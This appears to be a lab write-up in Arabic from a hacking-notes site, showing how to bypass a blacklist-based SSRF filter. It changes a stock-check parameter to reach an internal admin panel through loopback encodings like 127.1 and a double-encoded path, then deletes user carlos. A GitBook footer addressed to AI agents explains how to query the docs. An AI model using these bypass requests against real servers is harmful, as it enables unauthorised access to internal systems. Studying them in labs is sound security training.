> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssrf/ssrf-with-blacklist-based-filter.md).

# SSRF مع تصفية قائمة سوداء

### ثغرة SSRF مع مُرشِّح إدخال قائم على القائمة السوداء

تقدّم المختبر وظيفة للتحقق من المخزون تتيح استرجاع البيانات من نظام داخلي. / الهدف هو الوصول إلى واجهة الإدارة على `HTTP://localhost/admin` وحذف المستخدم **carlos**. / يجب تجاوز آليتي دفاع ضعيفتين قائمتين على القائمة السوداء.

#### التحليل والتجاوز

عند استبدال `stockApi` المعامل للإشارة مباشرةً إلى المدير المحلي، يتم رفض الاستعلام:

```
stockApi=https://localhost/admin
```

<figure><img src="/files/187b64999b1d00a93c43100ff0d16deaa8a306e1" alt=""><figcaption></figcaption></figure>

لتجاوز القائمة السوداء على `localhost`، يتم اختبار عدة صيغ من العناوين الداخلية:

* `https://127.0.0.1`
* `https://127.13.55.222`
* `https://127.0.1`

تفشل هذه المحاولات أيضًا.

ثم نحاول **سداسي عشري** أو **عشري** للعنوان:

* `https://0x7F.0x0.0x1`
* `https://2130706433`

يمنع الاكتشاف دائمًا `/admin` المسار، مما يشير إلى أن آلية الدفاع تستهدف في المقام الأول هذه السلسلة المحددة.

<figure><img src="/files/2eb7d920f5a573735d201aa9743a64176af59dfa" alt=""><figcaption></figcaption></figure>

```javascript
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/%2561dmin/delete?username=carlos
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssrf/ssrf-with-blacklist-based-filter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
